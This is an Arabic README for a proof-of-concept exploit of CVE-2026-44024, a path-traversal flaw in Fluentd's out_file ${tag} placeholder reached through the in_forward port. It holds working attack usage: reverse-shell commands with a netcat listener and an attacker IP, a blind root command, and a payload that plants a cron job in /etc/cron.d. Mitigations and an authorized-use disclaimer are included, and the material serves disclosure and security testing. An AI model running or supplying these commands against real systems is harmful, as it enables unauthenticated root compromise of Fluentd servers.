
استغلال لإثبات المفهوم لثغرة CVE-2026-44024، يستخدم tag مُصمَّمًا خصيصًا في in_forward لكتابة ملفات عشوائية عبر ثغرة اجتياز المسار في out_file الخاص بـ Fluentd وتحفيز تنفيذ الأوامر.
out_file ${tag}كتابة ملفات عشوائية غير مصادق عليها في إضافة out_file الخاصة بـ Fluentd
عبر العنصر النائب ${tag}.
تتيح out_file للمشغّلين قولبة مسار الإخراج باستخدام عنصر نائب ${tag}
(مثل path /var/log/fluent/${tag}). يقوم Output#extract_placeholders
(lib/fluent/plugin/output.rb) باستبدال وسم الحدث في المسار دون تعقيم
../ (CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
الأحداث القادمة عبر بروتوكول in_forward (المنفذ 24224) تحمل وسمًا مأخوذًا حرفيًا من
رسالة الشبكة، وقيمة allow_anonymous_source الافتراضية هي true، لذا يمكن لمهاجم غير مصادق عليه
تعيين وسم مثل ../../../../../../etc/cron.d/pwn للخروج من الدليل المُهيأ والكتابة إلى
أي مسار مطلق بصلاحية مستخدم عملية fluentd.
<= 1.19.21.19.3 (يرفض مكونات ..//المطلقة في الوسم قبل توسيع ${tag}، PR #5391)in_forward وليس in_httpيستمد in_http الوسم من مسار URL عبر path.split('/').join('.')، مما يحول كل /
إلى . — لذا لا يمكن لـ ../ النجاة على Linux (و%2f لا يُفك ترميزه). فقط
بروتوكول forward (24224) يمرر الوسم بايتًا ببايت. يستخدم هذا الاستغلال قدرًا كافيًا فقط من
ذلك البروتوكول (رسالة msgpack [tag, time, record]) مع مشفر مدمج صغير — بلا تبعيات.
مكتبة Python 3 القياسية فقط. يجب أن يشغّل الهدف Fluentd قابلًا للاستغلال مع out_file يحتوي
path على ${tag}، ومصدر in_forward مجهول (الافتراضي). تحويل الكتابة إلى
إسقاط كرون نظيف يفترض out_file لا يشوّه اسم الملف/المحتوى (مثل
add_path_suffix false, append true, لا timekey, صيغة single_value) — وإلا استخدم الكتابة
لاستبدال ملف بمسار معروف.
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
يرسل حدث forward ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]
إلى المنفذ 24224. يقوم out_file بتوسيع ${tag} ← /var/log/fluent/../../../../../../etc/cron.d/pwn =
/etc/cron.d/pwn، ومع صيغة single_value يكتب msg الخاص بالسجل حرفيًا ← سطر كرون
صالح. ينفذه cron خلال حوالي 60 ثانية بصلاحية مستخدم fluentd (الجذر عندما يعمل fluentd كجذر).
قم بترقية Fluentd إلى ≥ 1.19.3؛ لا تعرض منفذ forward لشبكات غير موثوقة (فعّل مصادقة
المفتاح المشترك / allow_anonymous_source false)؛ لا تشغّل fluentd كجذر؛ تجنب ${tag} في مسارات
الإخراج للمدخلات غير الموثوقة.
لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.